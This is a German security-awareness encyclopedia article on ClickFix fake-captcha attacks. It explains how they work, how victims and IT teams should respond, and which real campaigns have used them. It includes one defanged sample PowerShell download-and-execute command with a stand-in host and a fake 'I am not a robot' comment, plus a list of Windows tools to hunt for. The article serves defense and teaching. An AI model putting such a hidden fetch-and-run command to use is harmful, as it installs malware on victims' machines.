Cyberpediavon Brain
DEENFR

ClickFix und gefälschte Captchas

Eine falsche Prüfung „Ich bin kein Roboter“ lässt Sie einen Befehl in Windows+R einfügen. So funktioniert ClickFix und so reagieren Sie richtig.

In 30 Sekunden

Wo es vorkommt
Auf Webseiten, oft auf bekannten Seiten, die gehackt wurden, und in Dateianhängen, die ein Word-Dokument nachahmen.
Was der Angreifer will
Dass Sie selbst einen Befehl ausführen, der einen Passwortdieb oder einen Fernzugriff auf Ihrem Rechner installiert.
Der Reflex
Keine ehrliche Prüfung verlangt von Ihnen, etwas in das Ausführen-Fenster, in PowerShell oder ins Terminal einzufügen. Verlangt eine Seite das, schließen Sie sie.
Wenn es schon passiert ist
Ziehen Sie das Netzwerkkabel oder schalten Sie das WLAN aus, lassen Sie den Computer eingeschaltet und rufen Sie sofort den IT-Support an.

Worum es geht

ClickFix ist eine Social-Engineering-Technik, bei der die Opfer die Schadsoftware selbst installieren. Eine Webseite oder ein Dateianhang zeigt einen falschen Fehler oder eine falsche Prüfung „Ich bin kein Roboter“ und dazu eine Anleitung: ein Windows-Befehlsfenster öffnen, einfügen, bestätigen. Die Seite hat zuvor bereits einen Befehl in die Zwischenablage gelegt, und genau diesen Befehl führt das Opfer aus, ohne ihn gelesen zu haben1.

Proofpoint hat die Methode schon im März 2024 beobachtet. Der Name geht auf eine Serie gefälschter Browser-Update-Warnungen von Mitte April 2024 zurück, die Forschende ClickFix getauft haben2. Seit dem Herbst 2024 häufen Cyberkriminelle solche Kampagnen, stellt die ANSSI fest3. Laut ESET ist ClickFix zwischen dem zweiten Halbjahr 2024 und dem ersten Halbjahr 2025 um mehr als 500 % gewachsen und damit zum zweithäufigsten Angriffsvektor nach dem Phishing geworden4.

Direkte Fragen

Kann ein echtes Captcha von mir verlangen, Windows+R zu drücken?

Nein. Ein Captcha wird auf der Seite selbst gelöst: ein Kästchen, einige Bilder zum Auswählen, manchmal gar nichts. Google rät zu Misstrauen gegenüber jeder Seite, die Sie auffordert, den Browser zu verlassen und Befehle auf Ihrem Gerät auszuführen5.

Ich habe den Befehl eingefügt, aber nicht die Eingabetaste gedrückt. Bin ich infiziert?

Das hängt vom Fenster ab. Im Ausführen-Fenster startet nichts, bevor Sie die Eingabetaste drücken2: Schließen Sie es, ohne zu bestätigen. In PowerShell oder im Terminal kann sich ein eingefügter Text von selbst ausführen. In der PowerShell-Konsole fügt ein einfacher Rechtsklick den Befehl ein und startet ihn2, und Microsoft rät, das Terminal so einzustellen, dass es warnt, wenn der eingefügte Text mehrere Zeilen umfasst6. Informieren Sie in jedem Fall den IT-Support: Ihr Rechner ist womöglich betroffen, und die Seite, die Sie zu dieser Handlung aufgefordert hat, bleibt für Ihre Kolleginnen und Kollegen eine Falle.

Warum blockiert das Antivirenprogramm den Angriff nicht immer?

Weil Sie den Befehl selbst ausführen, mit einem Werkzeug, das Windows mitliefert, und weil es anfangs keine Datei zu prüfen gibt. Laut Proofpoint können Antivirenprogramme und die auf den Rechnern installierten Erkennungswerkzeuge den Inhalt der Zwischenablage nur schwer untersuchen: Die präparierte Seite muss daher blockiert werden, bevor sie angezeigt wird2. Microsoft zufolge kann eine ClickFix-Kampagne so an den herkömmlichen automatischen Schutzmaßnahmen vorbeikommen6.

1In der Haut des Angreifers2 min

Eine ausführbare Datei, die per E-Mail kommt oder aus dem Web heruntergeladen wird, durchläuft mehrere Kontrollen, bevor sie sich öffnen lässt. ClickFix umgeht sie, indem es den gefährlichen Handgriff dem Opfer überlässt: Es gibt keine Datei mehr, nur eine Textzeile zum Einfügen1.

Eine solche Aktion aufzubauen, erfordert wenig Know-how. Mitte September 2024 hat ein Forscher auf GitHub „zu Bildungszwecken“ ein quelloffenes Kit für gefälschte reCAPTCHAs veröffentlicht, und Proofpoint fand es wenige Tage später in schädlichen E-Mails wieder7. Seit Ende 2024 sieht Microsoft, dass Anbieter in Hackerforen ClickFix-Generatoren mit dem Spitznamen „Win + R“ anbieten, mit Seiten, die unter anderem Cloudflare nachahmen. Das Abonnement kostet zwischen 200 und 1 500 Dollar im Monat. Ein einzelnes Bauteil wie der Quellcode, die Startseite oder die Befehlszeile kostet zwischen 200 und 500 Dollar6.

Der Klick auf „Überprüfen“ löst ein Skript aus, das den Befehl im Hintergrund in die Zwischenablage kopiert6. Dieser Befehl endet oft mit einem gefälschten Bestätigungstext der Art „I am not a robot: CAPTCHA Verification UID“6. Proofpoint erklärt die Rolle dieser falschen Meldung am Ende des Befehls: Sobald der Befehl im Ausführen-Fenster eingefügt ist, sieht das Opfer den eigentlichen schädlichen Befehl nicht7. Das Feld dieses Fensters nimmt nicht mehr als 259 Zeichen auf6, und der eingefügte Befehl lädt in der Regel nur den nächsten Schritt von einem Server herunter. PowerShell bleibt dafür das am häufigsten genutzte Windows-Werkzeug6.

Auszug
Was die Seite in die Zwischenablage legt (nachgestelltes Beispiel, Adresse entschärft):
powershell -w h -c "iwr hxxps://exemple[.]invalid/v | iex" # I am not a robot: CAPTCHA Verification UID: 4821

Was das Opfer im Ausführen-Fenster sehen kann (Illustration): die falsche Meldung, nicht den Befehl.
...ex" # I am not a robot: CAPTCHA Verification UID: 4821
2Was Sie auf dem Bildschirm sehen2 min

Das typische Szenario: Ein gefälschtes Captcha erscheint vor der Seite, die Sie aufrufen wollten, oft nach dem Vorbild von Googles reCAPTCHA oder Cloudflares Turnstile6. Sie klicken, und das Captcha gibt Anweisungen: das Ausführen-Fenster mit der Windows-Taste und R öffnen, mit Strg+V einfügen, dann die Eingabetaste drücken. Dieses Szenario beschreiben CISA und FBI in ihrer Warnung vom Mai 2025 zum Datendieb LummaC28.

Die Aufmachung wechselt je nach Ziel. Im März 2024 enthielten E-Mails einen Anhang, der wie ein Word-Dokument aussah, mit der Meldung „Die Erweiterung Word Online ist nicht installiert“ und zwei Schaltflächen, „How to fix“ und „Auto-fix“2. Ab Dezember 2024 zielte eine Kampagne auf Personal im Gastgewerbe, indem sie Booking.com nachahmte, mit einem gefälschten Captcha über einer kaum sichtbaren Kopie einer Booking.com-Seite im Hintergrund9.

Verlassen Sie sich nicht auf die Aufmachung, die Cloudflare, Google oder Booking.com täuschend echt nachahmen kann. Stoppen sollte Sie die Anweisung: Eine Webseite verlangt von Ihnen, den Browser zu verlassen und etwas in ein Systemfenster einzufügen. Im Brain-Programm gehört dieser Handgriff zum Reflex „Manipulationssignale im Text der E-Mail erkennen“. Das Manipulationssignal ist hier die Anleitung selbst, per E-Mail wie im Web.

Haben Sie den Befehl bestätigt, handeln Sie innerhalb weniger Minuten. Ziehen Sie das Netzwerkkabel oder schalten Sie das WLAN aus, fahren Sie den Computer aber nicht herunter: In ihrem Merkblatt zu Ransomware weist Cybermalveillance.gouv.fr darauf hin, dass das Ausschalten Beweise im Arbeitsspeicher löschen kann, die für die Untersuchung nötig sind10. Rufen Sie den IT-Support oder das Sicherheitsteam an und sagen Sie, welche Konten auf dem Rechner geöffnet waren. LummaC2, eines der auf diese Weise installierten Programme, entwendet Finanzzugangsdaten, Kryptowährungs-Wallets, Browser-Erweiterungen und Informationen zur Zwei-Faktor-Authentifizierung8: Diese Konten müssen zuerst geschützt werden. Ohne IT-Abteilung bietet die Plattform 17cyber.gouv.fr einen Hilfeweg an10.

3Unter der HaubeIT-Teams1 min

Das Ausführen-Fenster gehört zum Windows-Explorer (explorer.exe), einer Komponente, der das System vertraut6. Jeder Befehl, der aus diesem Fenster erfolgreich gestartet wird, hinterlässt eine Spur im Registrierungsschlüssel RunMRU, der den Verlauf der Eingaben speichert. Microsoft rät Ermittlern, dort nach Aufrufen von powershell, mshta, rundll32, wscript, curl oder wget zu suchen, Windows-Werkzeugen, die Code herunterladen oder ausführen können6. Zur Rolle von PowerShell bei Angriffen allgemein siehe den Artikel zur Ausführung über Befehlsinterpreter.

Microsoft empfiehlt, das Ausführen-Fenster per Gruppenrichtlinie für Personen zu deaktivieren, die es nicht brauchen, die Protokollierung von PowerShell-Skriptblöcken zu aktivieren und die zugelassenen Anwendungen zu beschränken6. Google legt Unternehmen nahe, die Ausführung von Skripten durch Benutzer standardmäßig zu untersagen5. Die CISA rät zu einer Liste zugelassener Anwendungen und zu getrennten Konten für die Administration8.

Die Technik zielt nicht mehr nur auf Windows. Im Juni 2025 richtete sich eine ClickFix-Kampagne gegen macOS-Nutzer, um den Datendieb Atomic macOS Stealer zu installieren6, und ESET beschreibt sie als Bedrohung für Windows, Linux und macOS4.

4FallanalysenReale Fälle2 min

März 2024: TA571 und ClearFake

Am 1. März 2024 verschickt TA571, ein Verteiler schädlicher E-Mails, mehr als 100 000 Nachrichten an Tausende Organisationen, mit der oben beschriebenen gefälschten Word-Seite. Je nach Frühjahrskampagne installiert der Befehl DarkGate, Matanbuchus oder NetSupport2. Ab Anfang April schleust die Kampagne ClearFake falsche Warnungen in gehackte, legitime Seiten ein. Proofpoint beschreibt dort eine Kette, in der ein einziges PowerShell-Skript fünf Familien von Schadsoftware ausführen lassen konnte, darunter den Datendieb Lumma Stealer2.

September 2024: die gefälschten GitHub-Warnungen

Am 18. September 2024 kommentieren Angreifer Repositories auf GitHub oder eröffnen dort Tickets. Die Benachrichtigungen, die GitHub an Entwickler sendet, geben sich als Sicherheitswarnung aus und führen zu einer gefälschten GitHub-Seite mit einem falschen reCAPTCHA. Der Befehl installiert Lumma Stealer, und Proofpoint zählt mindestens 300 betroffene Organisationen7.

Dezember 2024: das Gastgewerbe im Visier

Microsoft verfolgt die Kampagne im Look von Booking.com unter dem Namen Storm-1865. Sie richtet sich gegen Beschäftigte des Gastgewerbes in Nordamerika, Ozeanien, Asien und Europa und installiert unter anderem XWorm, Lumma Stealer, VenomRAT, AsyncRAT, Danabot und NetSupport RAT9.

2025: Nachrichtendienste steigen ein

Google hat LOSTKEYS identifiziert, ein Programm, das Dateien stiehlt, und ordnet es der Gruppe COLDRIVER zu, auch Callisto oder Star Blizzard genannt. LOSTKEYS, beobachtet im Januar, März und April 2025, wird am Ende einer Kette geliefert, die mit einem gefälschten Captcha beginnt: Die Seite kopiert einen PowerShell-Befehl und fordert dazu auf, ihn im Ausführen-Fenster zu starten. Zu den jüngeren Zielen der Gruppe zählen aktuelle und frühere Berater westlicher Regierungen, Journalisten und NGOs5. Laut ANSSI sollen Callisto-Operatoren diese Technik im September 2025 ebenfalls eingesetzt haben, in Kampagnen gegen Mitglieder der Zivilgesellschaft in Russland und gegen NGOs, die in der Ukraine tätig sind. Die Behörde gibt außerdem an, dass ihr mindestens eine ClickFix-Kampagne bekannt geworden ist3.

Merkblatt

Kennung
CP-011
Flügel
1. Angriffe und Techniken
Brain-Kompetenz
Phishing erkennen (detect_phishing)
Brain-Reflex
Manipulationssignale im Text der E-Mail erkennen (cr-001)
Schema
G1 · Angriffskette (Kill Chain)
Sprachen
de, en, fr
Quellen
10 Quellen geprüft am 26. Oktober 2026
Quellen10 Quellen
  1. MITRE ATT&CK, „User Execution: Malicious Copy and Paste (T1204.004)“, 18. März 2025. https://attack.mitre.org/techniques/T1204/004/ (abgerufen am 26. Oktober 2026)
  2. Proofpoint, „From Clipboard to Compromise: A PowerShell Self-Pwn“, 17. Juni 2024. https://www.proofpoint.com/us/blog/threat-insight/clipboard-compromise-powershell-self-pwn (abgerufen am 26. Oktober 2026)
  3. ANSSI, „Panorama de la cybermenace 2025“, 11. März 2026. https://cert.cyber.gouv.fr/uploads/CERTFR-2026-CTI-002.pdf (abgerufen am 26. Oktober 2026)
  4. ESET (WeLiveSecurity), „Rapport général sur les menaces au premier semestre 2025 - ESET Threat Report H1 2025“, 26. Juni 2025. https://www.welivesecurity.com/fr/dernieres-recherches/rapport-general-menaces-premier-semestre-2025-eset-threat-report-h1-2025/ (abgerufen am 26. Oktober 2026)
  5. Google Threat Intelligence Group, „COLDRIVER Using New Malware To Steal Documents From Western Targets and NGOs“, 7. Mai 2025. https://cloud.google.com/blog/topics/threat-intelligence/coldriver-steal-documents-western-targets-ngos (abgerufen am 26. Oktober 2026)
  6. Microsoft Threat Intelligence, „Think before you Click(Fix): Analyzing the ClickFix social engineering technique“, 21. August 2025. https://www.microsoft.com/en-us/security/blog/2025/08/21/think-before-you-clickfix-analyzing-the-clickfix-social-engineering-technique/ (abgerufen am 26. Oktober 2026)
  7. Proofpoint, „Security Brief: ClickFix Social Engineering Technique Floods Threat Landscape“, 18. November 2024. https://www.proofpoint.com/us/blog/threat-insight/security-brief-clickfix-social-engineering-technique-floods-threat-landscape (abgerufen am 26. Oktober 2026)
  8. CISA et FBI, „Threat Actors Deploy LummaC2 Malware to Exfiltrate Sensitive Data from Organizations“, 21. Mai 2025. https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-141b (abgerufen am 26. Oktober 2026)
  9. Microsoft Threat Intelligence, „Phishing campaign impersonates Booking.com, delivers a suite of credential-stealing malware“, 13. März 2025. https://www.microsoft.com/en-us/security/blog/2025/03/13/phishing-campaign-impersonates-booking-com-delivers-a-suite-of-credential-stealing-malware/ (abgerufen am 26. Oktober 2026)
  10. Cybermalveillance.gouv.fr, „Rançongiciel ou ransomware : que faire si votre organisation est victime d'une attaque ?“, 3. Juni 2025. https://www.cybermalveillance.gouv.fr/tous-nos-contenus/fiches-reflexes/rancongiciels-ransomwares (abgerufen am 26. Oktober 2026)

Diesen Artikel zitieren

Brain, „ClickFix und gefälschte Captchas“, Cyberpedia, 2026. https://startbrain.io/cyberpedia/de/articles/clickfix-gefaelschte-captchas/

BibTeX 
@misc{brain_cp011_de_2026,
  author = {Brain},
  title = {ClickFix und gefälschte Captchas},
  year = {2026},
  howpublished = {Cyberpedia},
  url = {https://startbrain.io/cyberpedia/de/articles/clickfix-gefaelschte-captchas/},
  note = {CC BY 4.0}
}
Lizenz CC BY 4.0